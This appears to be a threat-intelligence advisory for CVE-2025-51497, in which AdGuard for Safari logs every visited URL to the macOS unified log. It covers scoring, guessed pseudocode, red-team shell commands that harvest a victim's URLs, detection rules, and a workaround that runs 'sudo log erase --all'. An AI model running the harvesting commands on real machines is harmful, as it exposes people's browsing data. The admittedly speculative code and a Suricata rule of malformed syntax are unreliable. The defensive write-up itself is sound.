CVE-2025-51497
Executive Summary
CVE-2025-51497 is a local information disclosure vulnerability affecting AdGuard for Safari on macOS, versions prior to 1.11.22. The AdGuard plugin, when active, logs every URL accessed by Safari into macOS general system logs. These logs are readable by any unsandboxed process running on the same machine, potentially exposing sensitive browsing history, session tokens, and other URL-embedded data to other applications or users with local access. The vulnerability is classified as CWE-532 (Insertion of Sensitive Information into Log File). The vendor has addressed this issue in version 1.11.22 by disabling the verbose logging.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a macOS Safari extension distributed via the Mac App Store. The supply chain risk is low as the extension is signed and distributed by AdGuard. However, users who install the extension from unofficial sources or outdated versions are at risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.0 (Medium)
- Attack Vector: Local (AV:L) – The attacker must have local access to the macOS system.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need elevated privileges.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond normal browsing.
- Scope: Unchanged (S:U) – The vulnerability affects only the confidentiality of the logged data.
- Confidentiality Impact: Low (C:L) – Only URL paths are exposed, not full page content.
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires local access, but on multi-user systems or systems with untrusted applications, the exposure of browsing history can lead to privacy breaches and further targeted attacks.
Deep Dive & Mechanics
The AdGuard for Safari extension operates as a content blocker and privacy tool. To function, it intercepts web requests and applies filtering rules. In versions prior to 1.11.22, the extension logged each URL accessed by Safari to the macOS unified log system (/var/log/system.log or accessible via log stream). This logging was intended for debugging but was left enabled in production builds.
The macOS logging system is accessible to any process that is not sandboxed. Sandboxed applications (like those from the App Store) are restricted, but many third-party applications and scripts run unsandboxed. An attacker with local access (e.g., via malware, a malicious user on a shared machine, or a compromised application) can read these logs and extract URLs visited by the victim.
The vulnerability is particularly dangerous because:
- URLs often contain sensitive information such as session tokens, API keys, personal identifiers, and query parameters.
- The logs persist until rotated, allowing historical browsing data to be exfiltrated.
- No user interaction is required beyond normal browsing.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.11.22):
The extension likely used os_log or NSLog to output each URL. Example (pseudocode):
- (void)handleRequest:(NSURLRequest *)request {
os_log(OS_LOG_DEFAULT, "AdGuard: Processing URL: %@", request.URL.absoluteString);
// ... filtering logic
}
Patched Code (1.11.22): The patch removes or disables the verbose logging. The logging call is either removed or wrapped in a debug-only conditional:
- (void)handleRequest:(NSURLRequest *)request {
#if DEBUG
os_log(OS_LOG_DEFAULT, "AdGuard: Processing URL: %@", request.URL.absoluteString);
#endif
// ... filtering logic
}
Alternatively, the logging level is changed to only log errors or critical events.
Exploitation & Lab Setup
Red Team
Objective: Exfiltrate browsing history from a macOS system running AdGuard for Safari < 1.11.22.
Lab Setup:
- macOS VM (e.g., macOS Ventura or later) with Safari and AdGuard for Safari (version 1.11.21 or earlier) installed.
- A simple script to read system logs.
Exploitation Steps:
- Ensure the victim is browsing with AdGuard active.
- Run the following script on the target machine (requires no special privileges):
#!/bin/bash
# Extract AdGuard URL logs from macOS unified log
log stream --predicate 'eventMessage contains "AdGuard" AND eventMessage contains "Processing URL"' --style compact | while read line; do
echo "$line" >> /tmp/adguard_urls.txt
done
- Alternatively, read historical logs:
log show --predicate 'eventMessage contains "AdGuard" AND eventMessage contains "Processing URL"' --info --last 1d > /tmp/adguard_urls.txt
- Parse the output to extract URLs:
grep -oP 'https?://[^\s]+' /tmp/adguard_urls.txt
Expected Outcome: The attacker obtains a list of URLs visited by the victim, potentially including sensitive data.
Blue Team
Detection:
- Monitor for processes reading the unified log with predicates related to AdGuard.
- Look for unusual access to
/var/log/system.logorlog streamcommands by non-Apple processes.
Hunting Query (macOS):
# Detect log reading by non-Apple processes
sudo log show --predicate 'process != "logd" AND process != "syslogd" AND eventMessage contains "AdGuard"' --info --last 1h
Prevention:
- Upgrade AdGuard for Safari to version 1.11.22 or later.
- Restrict local access to the system (physical security, user permissions).
- Use endpoint detection and response (EDR) tools to monitor for log exfiltration.
Indicators of Compromise (IOCs)
- File Path:
/var/log/system.log(if accessed by non-Apple processes) - Log Entry Pattern:
AdGuard: Processing URL: <URL> - Process Names: Any unsandboxed process reading the unified log with predicates containing "AdGuard"
- Network: No direct network IOC, but URLs in logs may contain attacker-controlled domains if the victim visited malicious sites.
Detection Engineering
YARA Rule
rule Detect_AdGuard_Log_Exfiltration {
meta:
description = "Detects attempts to read AdGuard URL logs from macOS unified log"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51497"
strings:
$log_cmd = "log stream" ascii wide nocase
$predicate = "AdGuard" ascii wide nocase
$url_pattern = "Processing URL" ascii wide nocase
condition:
$log_cmd and $predicate and $url_pattern
}
Sigma Rule
title: AdGuard URL Log Exfiltration via macOS Unified Log
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to read AdGuard URL logs from macOS unified log using log stream or log show commands.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-51497
author: Valters IT
date: 2025-04-10
logsource:
product: macos
service: unified_log
detection:
selection:
EventMessage|contains:
- 'AdGuard'
- 'Processing URL'
condition: selection
falsepositives:
- Legitimate debugging by AdGuard developers
level: medium
Suricata Rule
alert log any any -> any any (msg:"CVE-2025-51497 AdGuard URL Log Exfiltration Attempt"; content:"AdGuard"; content:"Processing URL"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade AdGuard for Safari to version 1.11.22 or later from the Mac App Store.
- If upgrade is not possible, disable the AdGuard extension in Safari until patched.
Long-term:
- Review all macOS extensions for verbose logging practices.
- Implement application sandboxing to restrict log access.
- Use security tools to monitor for unauthorized log reads.
Workaround:
- Clear system logs regularly:
sudo log erase --all - Restrict user permissions on shared machines.
Valters IT
DevSecOps & Cyber Threat Intelligence